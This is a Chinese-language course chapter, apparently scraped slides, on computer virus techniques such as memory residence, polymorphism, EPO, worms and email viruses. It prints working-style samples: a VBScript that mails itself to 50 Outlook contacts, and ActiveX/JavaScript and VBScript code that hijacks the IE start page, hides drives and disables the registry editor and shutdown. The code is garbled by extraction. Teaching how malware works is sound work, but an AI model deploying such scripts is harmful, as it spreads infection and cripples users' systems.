计算机病毒技术特征_第1页
计算机病毒技术特征_第2页
计算机病毒技术特征_第3页
计算机病毒技术特征_第4页
计算机病毒技术特征_第5页
已阅读5页,还剩69页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、第四章 计算机病毒技术特征,一、常见计算机病毒的技术特征,驻留内存 病毒变种 EPO(Entry Point Obscuring)技术 抗分析技术(加密、反跟踪) 隐蔽性病毒技术 多态性病毒技术 插入型病毒技术 超级病毒技术,破坏性感染技术 病毒自动生产技术 网络病毒技术,1 驻留内存:DOS TSR,DOS病毒驻留内存位置示意图,1 驻留内存:引导区病毒的内存驻留,大小在1K或者几K 为了避免用户可以很容易的觉察到系统可用内存的减少,一些病毒会等待DOS完全启动成功,然后使用DOS自己的功能分配内存。 不用考虑重载。,1 驻留内存:Windows环境下病毒的内存驻留,三种驻留内存的方法 由于

2、Windows操作系统本身就是多任务的,所以最简单的内存驻留方法是将病毒作为一个应用程序,病毒拥有自己的窗口(可能是隐藏的)、拥有自己的消息处理函数; 另外一种方法是使用DPMI申请一块系统内存,然后将病毒代码放到这块内存中; 第三种方法是将病毒作为一个VXD(Win3.x或者Win9x环境下的设备驱动程序)或者在Win NTWin2000下的设备驱动程序WDM加载到内存中运行。,防止重载的方法 传统的防止重入方法 禁止启动两个实例 对于VXD病毒 静态加载时,病毒会在“SYSTEM.INI”文件中包含加载设备驱动程序的一行信息; 动态加载时,可能使用某些英特尔CPU的一些特殊状态位来表示病毒

3、是否存在于内存中(CIH病毒就采用了这种方法)。,1 驻留内存:宏病毒的内存驻留方法,病毒随着宿主程序而被加载并且一直存在于系统中,所以从某种意义上,宏病毒都是内存驻留病毒。 宏病毒通过检测自己的特征防止重入。,2 病毒变种,变形 变种新品种 两种方式: 手工变种 自动变种(Mutation Engine:变形机) 保加利亚的Dark Avenger的变形机最著名。,分类,第一类,具备普通病毒所具有的基本特性,然而,病毒每感染一个目标后,其自身代码与前一被感染目标中的病毒代码几乎没有三个连续的字节是相同的,但这些代码及其相对空间的排列位置是不变动的。这里称其为一维变形病毒。 第二类,除了具备一

4、维变形病毒的特性外,并且那些变化的代码相互间的排列距离(相对空间位置)也是变化的,有的感染文件的字节数不定。这里称其为二维变形病毒。 第三类,具备二维变形病毒的特性,并且能分裂后分别潜藏在几处,随便某一处的子病毒被激发后都能自我恢复成一个完整的病毒。病毒在附着体上的空间位置是变化的,即潜藏的位置不定。例如,在某台机器中,病毒的一部分可能藏在机器硬盘的主引导区中,另外几部分也可能潜藏在可执行文件中,也可能潜藏在覆盖文件中,也可能潜藏在系统引导区,也可能另开垦一块区域潜藏等等。在另一台被感染的机器内,病毒可能又改变了其潜藏的位置。这里称其为三维变形病毒。 第四类,具备三维变形病毒的特性,并且,这些

5、特性随时间动态变化。例如,在染毒的机器中,刚开机时病毒在内存里变化为一个样子,一段时间后又变成了另一个样子,再次开机后病毒在内存里又是一个不同的样子。这里称其为四维变形病毒。,3 EPO(Entry Point Obscuring)技术,为什么要采用EPO技术呢? 杀毒技术提高 - 防止被发现 - EPO 三种实现方法: 最早的EPO通过改变程序入口处的代码实现的。简单但无用 把宿主程序的任意位置的指令替换为跳转语句。难点在于定位一个完整的指令(类似于一个反编译器) PATCH IAT的函数。,如果在一段代码中有一条指令: 228738fd ff15eb0f107d call 7d100feb

6、h 把它替换成新的指令 Call Address of virus 在病毒体内还要再次调用Call 7d100febh来完成宿主程序的功能。代码如下: dw ff15h ;ff15eb0f107d的前缀 backaddr dd 0 ;存放ff15eb0f107d的后缀,这个后缀是变化的 在病毒代码中,把backaddr的值动态的改为Call 7d100febh指令编译后的后缀。,4 抗分析技术,加密技术:这是一种防止静态分析的技术,使得分析者无法在不执行病毒的情况下,阅读加密过的病毒程序。 反跟踪技术:使得分析者无法动态跟踪病毒程序的运行。 Win95.Flagger病毒,4 抗分析技术:自加

7、密技术,数据加密(信息加密) 例如:6.4计算机病毒就是这样处理的,计算机病毒发作时将在屏幕上显示的字符串被用异或操作的方式加密存储。 1575 病毒加密数据文件。加密文件名COMMAND.COM 病毒代码加密 Chinese Bomb把宿主程序前6个字节加密并转移位置。 1701/1704用宿主程序的长度作为密钥加密代码。,4 抗分析技术:反跟踪技术,DOS下,修改int 0-3中断 Windows下: 封锁键盘输入 关闭屏幕显示 修改堆栈指令 程序运行计时 动态地生成指令代码,5 隐蔽性病毒技术,引导型隐藏方法一 感染时,修改中断服务程序 使用时,截获INT 13调用,引导型隐藏方法二 针

8、对杀毒软件对磁盘直接读写的特点。 截获 INT 21H,然后恢复感染区 最后,再进行感染,文件型病毒的隐藏技术,拦截(API, INT调用)访问 恢复 再感染。例如,改变文件大小病毒, dir病毒等,宏病毒的隐藏技术,删除相关的菜单项:“文件模板”或者“工具宏” 使用宏病毒自己的FileTemplates和ToolsMacro宏替代系统缺省的宏,6 多态性病毒技术,多态病毒就是没有特殊特征码的病毒,这种病毒无法(或极难)用特征码扫描法检测到。 方法: 使用不固定的密钥或者随机数加密病毒代码 运行的过程中改变病毒代码 通过一些奇怪的指令序列实现多态性 BASIC,Shell等解释性语言可以在一行

9、包括很多语句。,使用加密技术的多态性,改变可执行代码技术的多态病毒,基本上都使用在宏病毒中,其他病毒少见。 宏语言都是以BASIC为基础的。 引导型病毒 在引导区或者分区表中,包含了一小段代码来加载实际的病毒代码,这段代码在运行的过程中是可以改变的。 文件型病毒 “厚度”(Ply)病毒 “TMC”病毒,多态病毒的级别,半多态:病毒拥有一组解密算法,感染的时候从中间随机的选择一种算法进行加密和感染。 具有不动点的多态:病毒有一条或者几条语句是不变的(我们把这些不变的语句叫做不动点),其他病毒指令都是可变的。 带有填充物的多态:解密代码中包含一些没有实际用途的代码来干扰分析者的视线。 算法固定的多

10、态:解密代码所使用的算法是固定的,但是实现这个算法的指令和指令的次序是可变的。 算法可变的多态:使用了上述所有的技术,同时解密算法也是可以部分或者全部改变的。 完全多态:算法多态,同时病毒体可以随机的分布在感染文件的各个位置,但是在运行的时候能够进行拼装,并且可以正常工作。,查杀技术,对于前面3种多态病毒,可以使用病毒特征码或者改进后的病毒特征码 对于第4种多态病毒,可以增加多种情况的改进后的特征码 至于第5和第6种多态病毒,依靠传统的特征码技术是完全无能为力的。 最好的办法是虚拟执行技术。,7 插入型病毒技术,DOS下较少 PE病毒大多数都是插入型病毒 例如,CIH,8 超级病毒技术,超级病

11、毒技术就是在计算机病毒进行感染、破坏时,使得病毒预防工具无法获得运行机会的病毒技术。 技术较难实现。 和杀毒技术相比,具有时效性。,9 破坏性感染技术,破坏性感染病毒是针对计算机病毒消除技术的一项病毒技术。 实例: Burge病毒是这类病毒的典型代表,该病毒会使宿主文件头部丢失560字节; Hahaha病毒会使宿主程序丢失13592字节。 传播性差 -破坏面小 在潜伏期长的情况下,其传播性可以有所改观。,10 病毒自动生产技术,针对病毒分析的技术 两种类型: 根据简单的操作,自动生成病毒(PE, 宏病毒等) 用自动生成技术实现变种(Mutation Engine),11 网络病毒技术,网络病毒

12、是指以网络为平台,对计算机产生安全威胁的所有程序的总和. 常见的几种: 木马病毒(Trojan) 蠕虫病毒(Worm) 邮件病毒 网页病毒,二、流行病毒的关键技术,蠕虫病毒 利用Outlook漏洞编写病毒 Webpage中的恶意代码 流氓软件,1 蠕虫病毒,蠕虫这个名词的由来是在1982年,Shock和Hupp根据The Shockwave Rider一书中的概念提出了一种“蠕虫(Worm)”程序的思想。 蠕虫(Worm)是病毒的一种,它的传播通常不需要所谓的激活。它通过分布式网络来散播特定的信息或错误,进而造成网络服务遭到拒绝并发生死锁。 具有病毒共性:如传播性、隐蔽性、破坏性等 独有的性质

13、:不利用文件寄生,对网络造成拒绝服务,以及和黑客技术相结合等等,两类: 一种是面向企业用户和局域网而言,这种病毒利用系统漏洞,主动进行攻击,可以对整个互联网可造成瘫痪性的后果。以“红色代码”、“尼姆达”以及最新的“SQL蠕虫王”为代表。 另外一种是针对个人用户的,通过网络(主要是电子邮件、恶意网页形式)迅速传播的蠕虫病毒,以爱虫病毒、求职信病毒为代表。 和普通病毒的区别:,蠕虫病毒的特性,第一,利用漏洞主动进行攻击 第二,病毒制作技术新 第三,与黑客技术相结合,潜在的威胁和损失更大 第四,传染方式多 第五,传播速度快 第六,清除难度大 第七,破坏性强,蠕虫病毒的机理,蠕虫病毒由两部分组成:一个

14、主程序和另一个是引导程序。 主程序收集与当前机器联网的其他机器的信息。利用漏洞在远程机上建立引导程序。 引导程序把“蠕虫”病毒带入了它所感染的每一台机器中。 当前流行的病毒主要采用一些已公开漏洞、脚本、电子邮件等机制进行传播。例如,IRC, RPC 等漏洞。,蠕虫病毒实例,MSN蠕虫病毒 1. 基本特征: 名称:IM-Worm.Win32.Webcam.a 原始大小:188,928字节 压缩形式:PESpin 编写语言:Microsoft Visual Basic 6.0 文件名称:LMAO.pif,LOL.scr,naked_drunk.pif等。,2.行为分析: (1)蠕虫运行后,将释放一

15、个名为 CZ.EXE 文件到C盘根目录,并将它拷贝到%system%目录下,文件名为winhost.exe。然后,将文件属性设置为隐藏、只读、系统,同时将该文件创建时间改成同系统文件日期一样,进行欺骗迷惑。同时蠕虫会在C盘跟目录随机生成一个文件,扩展名为PIF或EXE等,该文件用来向MSN好友传播。此外,病毒还会在%system%目录下生成msnus.exe,该文件为蠕虫自身拷贝。,(2)将自身加入到注册表启动项目保证自身在系统重启动后被加载: 位置:SoftwareMicrosoftWindowsCurrentVersionRun 键名:win32 键值:winhost.exe 位置:Sof

16、twareMicrosoftWindowsCurrentVersionRunServices 键名:win32 键值: winhost.exe,(3)蠕虫病毒会在C盘根目录生成一个图片文件,名字为sexy.jpg,并调用jpg关联程序打开该图片。一般情况下,会用IE打开该图片,打开后效果如下图。 (4)开启本地 TCP10 xx端口,频繁连接目标:28:8080,接受黑客控制。 (5)查找MSN窗口,如果存在,则向好友列表中发送消息传播自身。,3. 防范方案: (1)手工清除。按照上面的行为分析,终止并删除相关进程文件,修复注册表。 (2)用户可以避免接收MSN上发来的陌生附件

17、,包括扩展名为EXE或SCR等的附件,来预防该蠕虫。,如何防范蠕虫,预防第一 工具保护 定期扫描你的系统 更新你的防病毒软件 不要轻易执行附件中的EXE和COM等可执行程序 不要轻易打开附件中的文档文件,不要直接运行附件 邮件程序设置 谨用预览功能 卸载Scripting Host 警惕发送出去的邮件,2 利用Outlook漏洞编写病毒,电子邮件成为新型病毒的重要载体 利用Outlook漏洞传播的病毒: “爱虫(ILoveYou)” “美丽杀(Melissa)”-宏病毒 “库尔尼科娃” “主页(HomePage)” “欢乐时光(HappyTime)”,邮件病毒分类,附件方式:病毒的主要部分就隐

18、藏在附件中。 “主页(HomePage)”和“爱虫(ILoveYou)”病毒,它们的附件是VBS文件,也就是病毒关键部分。 邮件本身:病毒并不置身于附件,而是藏身于邮件体之中。 “欢乐时光(HappyTime)”病毒就是藏身于邮件体中,一旦用户将鼠标移至带毒邮件上,还未阅读邮件就已经中毒了。 嵌入方式:病毒仅仅把电子邮件作为其传播手段。 “美丽杀(Melissa)”是一种隐蔽性、传播性极大的Word 97/2K宏病毒。尽管其核心内容是宏病毒,但在病毒体内有一块代码专门用来传播。当条件符合时,打开用户的电子邮件地址,向前50个地址发送被感染的邮件。,电子邮件型病毒的传播原理,自我复制 Set f

19、so=CreateObject(Scripting.FileSystemObject) fso.GetFile(WScript.ScriptFullName).Copy(C:temp.vbs) 这么两行代码就可以将自身复制到c盘根目录下temp.vbs这个文件。,传播电子邮件病毒是通过电子邮件传播的。 Set ola=CreateObject(Outlook.Application) On Error Resume Next For x=1 To 50 Set Mail=ola.CreateItem(0) Mail.to=ola.GetNameSpace(MAPI).AddressLists(

20、1).AddressEntries(x) Mail.Subject=Betreff der E-Mail Mail.Body=Text der E-Mail Mail.Attachments.Add(C:temp.vbs) Mail.Send Next ola.Quit,调整脚本语言的超时设置。dim wscr,rr set wscr=CreateObject(WScript.Shell) rr=wscr.RegRead(HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout) if (rr=1) then

21、 wscr.RegWrite HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout,0,REG_DWORD end if,修改注册表,使得每次系统启动时自动执行脚本regcreate HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMSKernel32,dirsystem /该函数是现在收藏夹里增加一个站点function AddFavLnk(loc, DispName, SiteURL) var Shor = Shl.CreateSh

22、ortcut(loc + + DispName +.URL); Shor.TargetPath = SiteURL; Shor.Save(); /该函数是病毒的主函数,实现COOKIES检查、注册表修改等function f() try ,/声明一个ActiveX对象ActiveX initialization a1=document.applets0; a1.setCLSID(F935DC22-1CF0-11D0-ADB9-00C04FD58A0B); /创建几个实例 a1.createInstance(); Shl = a1.GetObject(); a1.setCLSID(0D43FE0

23、1-F093-11CF-8940-00A0C9054228); a1.createInstance(); FSO = a1.GetObject(); a1.setCLSID(F935DC26-1CF0-11D0-ADB9-00C04FD58A0B); a1.createInstance(); Net = a1.GetObject(); try if (documents .cookies.indexOf(Chg) = -1) /设置IE起始页Shl.RegWrite (HKCUSoftwareMicrosoftInternet ExplorerMainStart Page, /设置COOKIE

24、S var expdate = new Date(new Date().getTime() + (1); documents .cookies=Chg=general; expires= + expdate.toGMTString() + ; path=/;,/消除RUN按钮Shl.RegWrite (HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoRun, 01, REG_BINARY); /消除关闭按钮Shl.RegWrite (HKCUSoftwareMicrosoftWindowsCurrentVersionPol

25、iciesExplorerNoClose, 01, REG_BINARY); /消除注销按钮Shl.RegWrite (HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoLogOff, 01, REG_BINARY); /隐藏盘符Shl.RegWrite (HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDrives, 63000000, REG_DWORD); /禁止注册表Shl.RegWrite (HKCUSoftwareMicrosoftWindo

26、wsCurrentVersionPoliciesSystemDisableRegistryTools, 00000001, REG_DWORD); /禁止运行DOS程序 Shl.RegWrite (HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldAppDisabled, 00000001, REG_DWORD);,/禁止进入DOS模式 Shl.RegWrite (HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldAppNoRealMode, 00000001, REG_

27、DWORD); /开机提示窗口标题 Shl.RegWrite (HKLMSoftwareMicrosoftWindowsCurrentVersionWinlogonLegalNoticeCaption, 你已经中毒); /开机提示窗口信息 Shl.RegWrite (HKLMSoftwareMicrosoftWindowsCurrentVersionWinlogonLegalNoticeText, 你已经中毒); /设置IE标题Shl.RegWrite (HKLMSoftwareMicrosoftInternet ExplorerMainWindow Title,你已经中毒); Shl.Reg

28、Write (HKCUSoftwareMicrosoftInternet ExplorerMainWindow Title, 你已经中毒); catch(e) catch(e) /初始化函数function init() setTimeout(f(), 1000); /开始执行init();,网络炸弹,/首先声明插入脚本为JavaScript /定义不断打开新窗口的函数openwindows(),所带参数表明打开窗口数量 function openwindows(number) /循环 for (i = 0; i /脚本结束标志,类“万花筒病毒”,声明脚本为VBScript 定义函数runVi

29、rus() Function runVirus() 实验中弹出对话框告知学员病毒进程 msgbox(将要修改主页了!) 执行注册表改写1,把IE主键修改成Your Home Page Rw HKEY_CURRENT_USERSoftwareMicrosoftInternet Explorer MainStart Page, Your Home Page, REG_SZ msgbox(修改主页完成,查看一下吧!) msgbox(将要隐藏A盘盘符!) 执行注册表改写2:隐藏A盘盘符,Rw HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion

30、 PoliciesExplorerNoDrives, 00000001, REG_DWORD msgbox(A盘盘符消失!) msgbox(注册表工具将要被禁用!) 执行注册表改写3:禁用注册表编辑器 Rw HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion PoliciesSystemDisableRegistryTools, 00000001, REG_DWORD msgbox(注册表工具禁用!) End Function,注册表写函数 Sub Rw(k, v, t) Dim R On Error Resume Next 关键步骤

31、,调用WScript.Shell对象来获得修改权利 Set R = CreateObject(WScript.Shell) 调用WScript.Shell的方法来写注册表 R.RegWrite k, v, t End Sub,注册表读函数 Function Rg(v) Dim R On Error Resume Next 关键步骤,调用WScript.Shell对象来获得读取权利 Set R = CreateObject(WScript.Shell) 调用WScript.Shell的方法来读注册表 Rg = R.RegRead(v) End Function 插入脚本结束 ,流氓软件,流氓软件定义 第一个定义:流氓软件是指具有一定的实用价值但具备电脑病毒和黑客的部分行为特征的软件。它处在合法软件和电脑病毒之间的灰色地带,他会使你无法卸

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论